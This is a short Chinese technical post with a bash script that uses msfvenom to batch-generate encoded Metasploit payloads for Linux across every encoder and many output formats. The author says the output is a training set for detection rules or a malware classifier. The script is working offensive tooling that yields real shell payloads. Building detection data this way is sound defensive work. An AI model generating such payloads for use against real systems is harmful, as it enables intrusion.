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metasploit批量生成payload
打算通过批量生成进行编码后的payload作为数据集,进行训练自动提取IOC规则。或者自动训练出分类器进行识别。当然脚本中我不仅采用了不同的编码格式还采用了不同的文件格式,其实也可以不需要。不过目前只是针对linux平台的做了输出。将$(grep linux $PAYLOADSLIST)替换为$(cat $PAYLOADSLIST)即可输出所有。
关键的命令无非是分别列出各项支持的条目,然后进行输出。
msfvenom -l formatsmsfvenom -l encodersmsfvenom -l payloads

完整脚本如下,根绝自需修改。
#!/usr/bin/env bash
ENCODERSLIST='encoders.list'
PAYLOADSLIST='payloads.list'
# also you can use `msfvenom -l formats` to generator your encodeformat
ENCODEFORMAT='bash sh c java perl pl powershell ps1 py python rb ruby vbscript'
mkdir -p linux
mkdir -p windows
mkdir -p osx
mkdir -p android
echo "[*] Generator your encoders list file"
msfvenom -l encoders | awk '{print $1}' | sed '1,6d' > $ENCODERSLIST
echo "[*] Generator your payloads list file"
msfvenom -l payloads | awk '{print $1}' | sed '1,6d' > $PAYLOADSLIST
for linuxpayload in $(grep linux $PAYLOADSLIST)
do
for format in $ENCODEFORMAT
do
echo "[+] Generate payloads from: $linuxpayload"
for encoder in $(cat $ENCODERSLIST)
do
fpath=`echo "$linuxpayload"_"$encoder"."$format" | sed -e "s/\//\_/g"`
msfvenom -p $linuxpayload -e $encoder -f $format -o linux/$fpath
done
done
done